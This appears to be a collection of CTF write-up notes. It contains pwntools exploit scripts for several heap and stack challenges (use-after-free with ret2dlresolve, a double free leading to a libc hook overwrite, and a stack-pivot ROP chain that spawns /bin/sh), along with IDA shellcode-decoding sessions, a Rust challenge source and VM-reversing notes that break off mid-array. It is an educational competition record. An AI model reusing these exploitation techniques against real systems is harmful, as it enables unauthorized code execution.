b'b\x7f\xbe\xd2\xf0r\xcfS777\xf0r\xcb7777\xbcr\xcb\x0cr\xcf8\xba\t677\x7f\x8dwFk77777\xbcr\xcb\x7f\xaf8\x8135\xf7\xdf3\xbe\xf6\xbcr\xcb\xb4\xf76\x7f\x8dwFk77777\x7f\xaf8\x81358\x81\xf7\xf6\xd736\xff\xbfr\xc0\xbcr\xcb\xb4\xf76\x7f\x8dwFk77777\x7f\xaf8\x8135\xf7\xdf3\xbe\xf6\x7f\x8dwFk77777\xbcr\xcb\x7f\xaf8\x81358\x81\xf7\xf6\xd736\xff\xbfr\xc18\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc1\xb3\xf7N<8\x81r\xc16\xf7\xb4\xff6\xdc18\x81r\xc16\xf7\xbfr\xc18\x81r\xc1\xb3\xf7N<8\x81r\xc16\xf7\xb4\xff6\xdc18\x81r\xc16\xf7\xbfr\xc1\xb7B\xc0$\xb7B\xc1\x00\x7f\x8ewFk77777\xbcr\xcb\x7f\xaf8\x81b\xc0\xbf#6\xbcr\xcb\xb4\xf76\x7f\x8ewFk77777\x7f\xaf8\x81b\xc1\xbf#6\xb4r\xcb5\xde\x81\xc9\xc8\xc8\xa7j\xf4\x04'
Python>ida_bytes.patch_bytes(0x5c7766,c)
Caching 'Functions window'... ok
Caching 'Strings window'... ok
Python>c
b'b\x7f\xbe\xd2\xf0r\xcfS777\xf0r\xcb7777\xbcr\xcb\x0cr\xcf8\xba\t677\x7f\x8dwFk77777\xbcr\xcb\x7f\xaf8\x8135\xf7\xdf3\xbe\xf6\xbcr\xcb\xb4\xf76\x7f\x8dwFk77777\x7f\xaf8\x81358\x81\xf7\xf6\xd736\xff\xbfr\xc0\xbcr\xcb\xb4\xf76\x7f\x8dwFk77777\x7f\xaf8\x8135\xf7\xdf3\xbe\xf6\x7f\x8dwFk77777\xbcr\xcb\x7f\xaf8\x81358\x81\xf7\xf6\xd736\xff\xbfr\xc18\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc1\xb3\xf7N<8\x81r\xc16\xf7\xb4\xff6\xdc18\x81r\xc16\xf7\xbfr\xc18\x81r\xc1\xb3\xf7N<8\x81r\xc16\xf7\xb4\xff6\xdc18\x81r\xc16\xf7\xbfr\xc1\xb7B\xc0$\xb7B\xc1\x00\x7f\x8ewFk77777\xbcr\xcb\x7f\xaf8\x81b\xc0\xbf#6\xbcr\xcb\xb4\xf76\x7f\x8ewFk77777\x7f\xaf8\x81b\xc1\xbf#6\xb4r\xcb5\xde\x81\xc9\xc8\xc8\xa7j\xf4\x04'
Python>ida_bytes.patch_bytes(0x5c7766,c)
Caching 'Functions window'... ok
Caching 'Strings window'... ok
Python>c = bytes([ch^0x37 for ch in list(get_bytes(0x5c7766,0xf8))])
Python>c
b'UH\x89\xe5H\xbe\xa8q\\\x00\x00\x00\x00\x00H\xbf \x9d\\\x00\x00\x00\x00\x00H\xb8\xd0\xfbF\x00\x00\x00\x00\x00\xff\xd0H\xbf\xa8q\\\x00\x00\x00\x00\x00H\xb8@\nM\x00\x00\x00\x00\x00\xff\xd0\x85\xc0\x0f\x94\xc0\x84\xc0\x0f\x84\xad\x00\x00\x00H\xbe\xb2q\\\x00\x00\x00\x00\x00H\xbf \x9d\\\x00\x00\x00\x00\x00H\xb8\x10\x03G\x00\x00\x00\x00\x00\xff\xd0H\xbf \x9d\\\x00\x00\x00\x00\x00H\xb8@\x05G\x00\x00\x00\x00\x00\xff\xd0H\xbe\xbfq\\\x00\x00\x00\x00\x00H\x89\xc7H\xb8\xd0\xf5M\x00\x00\x00\x00\x00\xff\xd0H\xba\x08\x9d\\\x00\x00\x00\x00\x00H\x89\x02H\xb8\x08\x9d\\\x00\x00\x00\x00\x00H\x8b\x00H\xba@q\\\x00\x00\x00\x00\x00H\xbe\xb8q\\\x00\x00\x00\x00\x00H\x89\xc7\xb8\x00\x00\x00\x00H\xb9\xf0\x07M\x00\x00\x00\x00\x00\xff\xd1H\xb8\x08\x9d\\\x00\x00\x00\x00\x00H\x8b\x00H\x89\xc7H\xb8\x80\xeeM\x00\x00\x00\x00\x00\xff\xd0\x90]\xc37'
Python>ida_bytes.patch_bytes(0x5c7766,c)

Family-rev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Python>p 0x108-0xe0
File "<string>", line 1
p 0x108-0xe0
^
SyntaxError: invalid syntax
Python>0x108-0xe0
0x28
Python>get_bytes(here(),0x28)
b'e\xa7x\xe0\x0b\x854\x8dUJ\x08\xba\x95\xbfN\xe8\xb7\x98n\x12\xe1(\xa9p\xd3\xd1\x8b\x1e/\xf9\x97\x01\xe0\x15\x1eq\xe4wh\x11'
Python>list(get_bytes(here(),0x28))
[0x3a, 0xf7, 0x0, 0x68, 0x6, 0x2e, 0x29, 0x89, 0xf4, 0x67, 0x2e, 0xc6, 0xd6, 0x6e, 0x12, 0x75, 0x1b, 0xba, 0x64, 0x44, 0x1b, 0x24, 0xa5, 0x30, 0x3a, 0xfe, 0xa7, 0xd, 0x74, 0xaf, 0x99, 0xce, 0x12, 0xe1, 0x1a, 0x92, 0x87, 0xf3, 0xdd, 0xdd]
Python>get_bytes(here(),0x28)
b':\xf7\x00h\x06.)\x89\xf4g.\xc6\xd6n\x12u\x1b\xbadD\x1b$\xa50:\xfe\xa7\rt\xaf\x99\xce\x12\xe1\x1a\x92\x87\xf3\xdd\xdd'
Python>get_bytes(here(),0x28)
b'\xbb\xf0\xd9\xf2(c\xa1\x93\x92\xc55\xeeG\x9a^\x86&\xd7\xd5R\xb0d\x92\xe3\xe8L\x82\xa4\xb8\x9f\x9a\xc0\xa8\xce\x10z\xe3\xbf\xc7\xd5'
Python>get_bytes(here(),0x28)
b'\xc9\x06\xa4N]3\xcb\xe7\xca\xb3w\xe3d\x0c\x8b\xc8\xee\x14\xa2pB\x89\xbf\xe2"\x1a\xb9\xf5\x9aq\xb2\xba<>m\xaf\xbd\n\x1d\x82'

++v5;
regs.edx = *(unsigned __int8 *)(v5 + 0x804A060);
lodsb al, byte [esi]
mov bl, al
regs.eax = (unsigned __int8)(LOBYTE(regs.ebx) ^ LOBYTE(regs.edx));
mov bl, al
regs.edx = *(unsigned __int8 *)(v5 + 0x804A020);
regs.eax = LOBYTE(regs.ebx) + LOBYTE(regs.edx);
mov bl, al
regs.edx = *(unsigned __int8 *)(v5 + 0x804A0A0);
regs.eax = LOBYTE(regs.ebx) - LOBYTE(regs.edx);
mov bl, al
regs.edx = *(unsigned __int8 *)(v5 + 0x804A0E0);
cmp bl, dl

DarkCon 2021 CTF

image-20251122125133901

no-output

Vulnerabilities:

  • uaf in edit(0x40140c)
  • buffer overflow in init(0x401236)

Exploit:

  • no read or write function
  • no leak
  • return to dl_resolve
    • write fake reloc/sym in .bss use uaf
    • write free@GOT to init and __stack_chk_fail to ret
    • stack overflow for return to dl_runtime_reslove
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*- coding: utf-8 -*-
import sys
from pwn import *

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

context.arch = 'amd64'
context.binary = 'nooutput'

HOST,PORT = "13.233.166.242", 49153
p = remote(HOST, PORT)
# p = process('./nooutput')
e = ELF('./nooutput')

def add(idx,sz,cnt):
p.sendline(str(1))
p.sendline(str(idx))
p.sendline(str(sz))
p.send(cnt)

def edit(idx,cnt):
p.sendline(str(2))
p.sendline(str(idx))
p.send(cnt)

def free(idx):
p.sendline(str(3))
p.sendline(str(idx))

rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(e, symbol='system', args=['/bin/sh\x00'])
rop.ret2dlresolve(dlresolve)

p.sendline('')
add(0, 0x58, '\0'*0x58)
add(1, 0x58, '\0'*0x58)
add(2, 0x58, '\0'*0x58)
free(1)
free(0)
edit(0,p64(dlresolve.data_addr).ljust(0x58,'\0'))
add(3, 0x58, '\0'*0x58)
add(4, 0x58, dlresolve.payload.ljust(0x58,'\0')) # ret

add(5,0x18,'0'*0x18)
add(6,0x18,'1'*0x18)
add(7,0x18,'2'*0x18)
free(5)
free(6)
edit(6,p64(0x404018).ljust(0x18,'\0'))
add(8,0x18,'\0'*0x18)
# free -> 0x401236
# __stack_chk_fail -> ret
add(9,0x18,p64(0x401236)+p64(0x4011B0)+'\n') # ret
free(2)
p.send('a'*0x28+rop.chain()+'\n')

p.interactive()

Dice 2021 CTF

image-20251122124948347

Easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-
import sys
from past.builtins import xrange
from pwn import *

HOST,PORT = "dicec.tf", 31904
p = remote(HOST, PORT)
# context.log_level = 'debug'
# p = process('./flippidy')

def add(idx, cnt):
p.sendlineafter(': ', str(1))
p.sendlineafter(': ', str(idx))
p.sendafter(': ', cnt)

def flip():
p.sendlineafter(': ', str(2))

p.sendlineafter('be: ', str(13))
add(6, p64(0x404020)+p64(0)+'\n')
flip() # double free
add(6, p64(0x403F88)+p64(0x404072)+p64(0x4040a4)+p64(0x4040d6)+p64(0x404040)+'\n')
p.recvuntil('\n\n')
free = u64(p.recvuntil('\n', drop=True).ljust(0x8,'\0'))
log.info("@ free: "+hex(free))
l = free-0x97950
log.info("@ l: "+hex(l))
add(6, p64(l+0x3ed8e8)+'\n')
add(0, '/bin/sh\x00\n')
add(6, p64(l+0x04f440)+'\n')
flip()
p.interactive()
# dice{some_dance_to_remember_some_dance_to_forget_2.27_checks_aff239e1a52cf55cd85c9c16}

Soucelessrustwasm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
use std::io;
use std::process;
use std::io::Write;
use std::io::Read;
use std::fs;
use std::ptr;
use std::str;

trait Sword {
fn inspect(&mut self) -> String;
fn display(&self) -> ();
}

struct RustySword {
name: String,
}

impl Sword for RustySword {
fn inspect(&mut self) -> String {
return read_file();
}

fn display(&self) -> () {
println!("Name: {}", self.name);
println!("Description: {}", read_file());
}
}

struct NewSword {
name: String,
desc: String,
}

impl Sword for NewSword {
fn inspect(&mut self) -> String {
println!("You inspect your handiwork.");
println!("You admire its blade, and note something interesting.");
prompt();
let mut desc = String::new();
io::stdin()
.read_line(&mut desc)
.expect("failed to read input.");
self.desc = desc;
return self.desc.clone();
}

fn display(&self) -> () {
println!("Name: {}", self.name);
println!("Description: {}", self.desc);
}
}

fn menu() {
println!("1. Forge a weapon");
println!("2. Scrap a weapon");
println!("3. Inspect a weapon");
println!("4. View stock");
println!("5. View log");
println!("6. Exit");
}

fn forge<'a>(stock: &'a mut [*mut dyn Sword], c: &mut u8) -> &'a mut [*mut dyn Sword] {
let index: usize = (*c).into();

println!("What's the name of your new weapon?");
let mut new_name = String::new();
prompt();
io::stdin()
.read_line(&mut new_name)
.expect("failed to read input.");


let new_weapon: Box<NewSword> = Box::new(NewSword {
name: new_name,
desc: String::from("None")
});

stock[index] = Box::into_raw(new_weapon) as *mut dyn Sword;
*c += 1;
println!("Done!");
return stock;
}

fn scrap<'a>(stock: &'a mut [*mut dyn Sword], c: &mut u8) -> &'a mut [*mut dyn Sword] {
let index: usize = (*c).into();

if index > 10 {
// index-1 >= 10
stock[index-1] = ptr::null_mut::<NewSword>();
*c -= 1;
println!("Done!");
} else {
println!("You feel yourself unable to scrap these legendary artifacts, rusty though they may be.");
}
return stock;
}

fn inspect<'a>(stock: &'a mut [*mut dyn Sword], log: &mut [u8]) -> &'a mut [*mut dyn Sword] {
println!("Which weapon do you want to inspect?");
let mut index = String::new();
prompt();
io::stdin()
.read_line(&mut index)
.expect("failed to read input.");
let index: usize = index.trim().parse().expect("invalid input");

if !stock[index].is_null() {
let log_s: String;
let weapon: *mut dyn Sword = stock[index];
unsafe {
log_s = (*weapon).inspect();
}

if index >= 10 && log_s.len() > 256 {
println!("Error: too big!");
process::exit(0);
}
unsafe {
ptr::copy_nonoverlapping(log_s.as_ptr(), log.as_mut_ptr(), log_s.len());
}
} else {
println!("404 not found");
}
return stock;
}

fn view_stock<'a>(stock: &'a mut [*mut dyn Sword]) -> &'a mut [*mut dyn Sword] {
let mut index: usize = 0;

while !stock[index].is_null() {
let weapon: *mut dyn Sword = stock[index] as *mut dyn Sword;
unsafe {
(*weapon).display();
}
index += 1;
}
return stock;
}

fn view_log(log: &mut [u8]) {
println!("You recall the weapon you saw last.");
println!("{}", str::from_utf8(log).unwrap());
}

fn prompt() {
print!("> ");
io::stdout().flush().unwrap();
}

fn read_file() -> String {
let src_file: &str = "excalibur.txt";
let mut src_file_handle: fs::File = fs::File::open(&src_file).expect(&format!("Could not open file: {}", &src_file));
let mut buf: String = String::new();
src_file_handle.read_to_string(&mut buf)
.expect(&format!("Failed to read data from file: {}", &src_file));
return buf;
}
print()

fn init_stock(stock: &mut [*mut dyn Sword]) -> &mut [*mut dyn Sword] {
for i in 0..10 {
let new_weapon: Box<RustySword> = Box::new(RustySword {
name: format!("Excalibur {}", i+1),
});

stock[i] = Box::into_raw(new_weapon) as *mut dyn Sword;
}
return stock;
}

fn main() {
let mut stock: [*mut dyn Sword; 256] = [ptr::null_mut::<NewSword>(); 256];
let mut c: u8 = 10;
let mut stock_ptr: &mut [*mut dyn Sword] = &mut stock;
let mut input_buf: [u8; 2] = [0; 2];
let mut log: [u8; 256] = [0; 256];

stock_ptr = init_stock(stock_ptr);

println!("You are a blacksmith who has recently been exiled from your home. You leave, reluctant to part with your bustling shop with all your hard-forged equipment.");
println!("As you travel across distant lands, you stumble upon a town. In it, you find an abandoned armory. Though all the equipment is rusted over, you decide to rennovate it and reestablish your bustling blacksmithing empire.");
println!("This is your story of how you went from a scorned, penniless blacksmith to, well, a scorned, penniless blacksmith with a flag.");

loop {
menu();
prompt();
io::stdin().read(&mut input_buf).expect("failed to read input.");
let choice: i32 = std::str::from_utf8(&input_buf).unwrap().trim().parse().expect("invalid input");

match choice {
1 => { stock_ptr = forge(stock_ptr, &mut c) },
2 => { stock_ptr = scrap(stock_ptr, &mut c) },
3 => { stock_ptr = inspect(stock_ptr, &mut log) },
4 => { stock_ptr = view_stock(stock_ptr) },
5 => view_log(&mut log),
6 => {
println!("Bye!");
process::exit(0);
},
_ => println!("Invalid choice!"),
}
}
}

image-20210213231052659

2021 bamoofox CTF

image-20251122125809607

Babystack-pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# -*- coding: utf-8 -*-
import sys
from pwn import *

context.binary = './babystack'

# p = process('./babystack')
HOST, PORT = "chall.ctf.bamboofox.tw",10102
p = remote(HOST, PORT)

# leaking canary and stack
p.sendafter(': ', 'A'*0x10)
p.sendafter(': ', 'B'*0x10)
p.sendafter('str1: \n', 'b'*0x9)
p.recvuntil('b'*0x9)
canary = u64(p.recv(7).rjust(0x8, '\0'))
log.info("@ canary: "+hex(canary))
p.sendafter('str2: \n', 'a'*0x7)
p.recvuntil('a'*0x7)
stack = u64(p.recv(6).ljust(0x8, '\x00'))
pos = stack+0x20+0xa8

# ROP1
log.info("@ stack: "+hex(stack))
p.sendafter('str1: \n', '\0'*0x10)
p.sendafter('str2: \n', p64(canary)+'a'*0x20+p64(canary)+p64(0x403470))
p.send(p64(0x401379))
p.recv()

rop = flat( 0x4014b2, # pop rbx..... retn
0x0,
0x1,
0x403428, # read
0x0,
0x403300, # .bss
0x80,
0x401498, # mov rdx .....
0,
0,
0x4032f8,
0,
0,
0,
0,
0x401452,
0,
0
)

# write rop chain
# rop1
# pause()
p.send('A'*0x10)
p.send('B'*0x10)
p.send('0'*0x10)
p.send('0'*0x22)
p.send('\0'*0x10)
p.send('a'*0x28+p64(canary)+p64(pos+0x18))
p.send(rop[0x18:0x30])
# # rop2
pause()
p.send('A'*0x10)
p.send('B'*0x10)
p.send('0'*0x10)
p.send('0'*0x22)
p.send('\0'*0x10)
p.send('a'*0x28+p64(canary)+p64(pos+0x30))
p.send(rop[0x30:0x48])
# # rop3
pause()
p.send('A'*0x10)
p.send('B'*0x10)
p.send('0'*0x10)
p.send('0'*0x22)
p.send('\0'*0x10)
p.send('a'*0x28+p64(canary)+p64(pos+0x48))
p.send(rop[0x48:0x60])
# rop4
pause()
p.send('A'*0x10)
p.send('B'*0x10)
p.send('0'*0x10)
p.send('0'*0x22)
p.send('\0'*0x10)
p.send('a'*0x28+p64(canary)+p64(pos+0x60))
p.send(rop[0x60:0x78])
# rop5
pause()
p.send('A'*0x10)
p.send('B'*0x10)
p.send('0'*0x10)
p.send('0'*0x22)
p.send('\0'*0x10)
p.send('a'*0x28+p64(canary)+p64(pos+0x78))
p.send(rop[0x78:0x90])
# rop0
pause()
p.send('A'*0x10)
p.send('B'*0x10)
p.send('0'*0x10)
p.send('0'*0x22)
p.send('\0'*0x10)
p.send('a'*0x28+p64(canary)+p64(pos))
p.send(rop[0:0x18])

# rop
p.send('A'*0x10)
p.send('B'*0x10)
p.send('0'*0x10)
p.send('0'*0x22)
p.send('\0'*0x10)
p.send('a'*0x28+p64(canary)+p64(stack+0x70))
p.send(rop[0:0x18])

rop2 = flat(
0x4014b2, # pop rbx..... retn
0x0,
0x1,
0x403428, # read
0x0,
0x403a00, # .bss => /bin/sh
0x3b,
0x401498, # mov rdx .....
0,
0,
0,
0x403a00,
0x403a08,
0,
0,
0x401498
)

p.send(rop2)
p.send((p64(0x401437)+'/bin/sh\x00').ljust(0x3b, '\0'))

p.interactive()
# flag{Very_3asy_st@ck_piv0t_challenge_right}
1
2
3
4
5
6
7
8
9
10
11
$ sh 1>&0
$ cd home
$ ls
babystack
$ cd babystack
$ ls
babystack
flag
run.sh
$ cat flag
flag{Very_3asy_st@ck_piv0t_challenge_right}

wxpage

hook_mem64 限制读取的内存范围在0x1235000~0x1236000

hook_syscall 限制系统调用

qwb2020-re

感觉比2019年的难多了

2020 re firmware

411820

400620

4006a8

4006fc

img

取s1地址处第一个字节<<2 + v0

为了调用函数

42a9b0 400ad0 400af0

sub_4184E0

经过调试分析,大致可以判断本题为VM逆向,dispatcher位于函数sub_400620中,即地址0x400828处

img

然后obopcode 即为地址0x4B2020处数值,此处取值调用函数,操作一共有 ^ - + * load 几种,编写代码模拟运行并使用z3求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
opcode = [0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x67, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x8C, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x50, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x7A, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x4E, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6F, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x7E, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x10, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x06, 0x00, 0x34, 0x02, 0x04, 0x00, 0x3D, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x42, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x0C, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x47, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x09, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x08, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x5C, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x09, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x43, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x0B, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x1F, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x2D, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x08, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x5A, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x0A, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6E, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x08, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x34, 0x02, 0x04, 0x00, 0x3B, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x2B, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x34, 0x02, 0x03, 0x00, 0x3B, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x3A, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x08, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x32, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x09, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x64, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6C, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x0A, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x39, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x3B, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6A, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x74, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0xC8, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x58, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 